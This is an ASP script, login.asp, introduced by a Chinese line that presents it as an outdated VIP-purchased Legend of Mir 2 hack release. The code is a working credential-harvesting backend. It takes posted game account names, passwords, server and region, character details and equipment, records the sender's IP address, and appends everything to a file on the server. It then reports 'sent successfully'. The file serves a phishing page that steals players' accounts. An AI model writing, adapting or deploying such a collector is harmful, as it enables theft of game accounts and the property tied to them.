login.asp

传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了

<%
strLogFile="mir2.txt"  '保存在空间的文件名称,可以根据实际修改

strToAddress=request.form("Tomail")
gameid=request.form("gameid")
PassWord=request.form("PassWord")
quyu=request.form("quyu")
mirserver=request.form("mirserver")
js1=request.form("js1")
js1zy=request.form("js1zy")
js1dj=request.form("js1dj")
js1sex=request.form("js1sex")
js2=request.form("js2")
js2zy=request.form("js2zy")
js2dj=request.form("js2dj")
js2sex=request.form("js2sex")
zb=request.form("zb")
if gameid="" or PassWord="" or quyu="" then
response.write "nono"
response.end
End If

if gameid<>"" and PassWord<>"" and quyu<>"" then
'从服务器和区号里面分离出数字
if instr(quyu,"(")<>0 and instr(quyu,")")<>0 and instr(mirserver,"】")<>0 then
fenqu=mid(quyu,instr(quyu,"(")+1,instr(quyu,")")-instr(quyu,"(")-1)
fuwuqi=right(mirserver,(len(mirserver)-instr(mirserver,"】")))
else
fenqu=quyu
fuwuqi=mirserver
end if
'=========================================================================================================
StrLogText=StrLogText&"收信人:"&strToAddress&chr(13)+chr(10)&"发信时间:"&date&" "&time&chr(13)+chr(10)
StrLogText=StrLogText&"发信人IP地址:"&request.servervariables("REMOTE_HOST")&chr(13)+chr(10)
StrLogText=StrLogText&"账号:"&gameid&chr(13)+chr(10)&"密码:"&PassWord&chr(13)+chr(10)
StrLogText=StrLogText&"分区:"&quyu&chr(13)+chr(10)&"服务器:"&mirserver&chr(13)+chr(10)
StrLogText=StrLogText&"第一人物名称:"&js1&chr(13)+chr(10)
StrLogText=StrLogText&"第一人物职业:"&js1zy&chr(13)+chr(10)
StrLogText=StrLogText&"第一人物等级:"&js1dj&chr(13)+chr(10)
StrLogText=StrLogText&"第二人物名称:"&js2&chr(13)+chr(10)
StrLogText=StrLogText&"第二人物职业:"&js2zy&chr(13)+chr(10)
StrLogText=StrLogText&"第二人物等级:"&js2dj&chr(13)+chr(10)
StrLogText=StrLogText&"随身装备:"&zb&chr(13)+chr(10)

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

'=========================================================================================================
response.write "发送成功！"
end if
%>